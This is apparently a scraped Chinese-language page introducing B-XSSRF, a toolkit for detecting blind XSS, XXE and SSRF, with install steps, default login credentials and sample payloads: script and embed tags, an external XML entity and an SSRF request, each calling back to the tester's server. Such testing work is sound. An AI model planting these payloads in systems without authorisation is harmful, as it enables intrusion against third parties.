B-XSSRF:用于檢測和跟蹤Blind XSS,XXE和SSRF的工具包
B-XSSRF:用于檢測和跟蹤Blind XSS,XXE和SSRF的工具包XSSRF是一個用于檢測和跟蹤Blind?XSS,XXE和SSRF的工具包,基于php+mysql的WEB端程序,它擁有簡潔漂亮的界面。B-XSSRF界面XSSRF安裝 下載源碼1git clone htt
B-XSSRF:用于檢測和跟蹤Blind XSS,XXE和SSRF的工具包XSSRF是一個用于檢測和跟蹤Blind?XSS,XXE和SSRF的工具包,基于php+mysql的WEB端程序,它擁有簡潔漂亮的界面。B-XSSRF界面XSSRF安裝 下載源碼1git clone htt
XSSRF是一個用于檢測和跟蹤Blind?XSS,XXE和SSRF的工具包,基于php+mysql的WEB端程序,它擁有簡潔漂亮的界面。
下載源碼
1 | git clone https://github.com/SpiderMate/B-XSSRF.git |
BLIND XSS
1 2 | <embed src="http://mysite.com/bxssrf/request.php"> <script src="http://mysite.com/bxssrf/request.php"> |
BLIND XXE
1 2 3 4 5 | <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM "http://mysite.com/bxssrf/request.php"> %ext; ]> <r></r> |
SSRF
1 | GET /testssrf.php=http://mysite.com/bxssrf/request.php |
1 2 | USER : admin@test.com PASS : 123456 |
版權所有:深圳市網(wǎng)商在線科技有限公司
友情鏈接: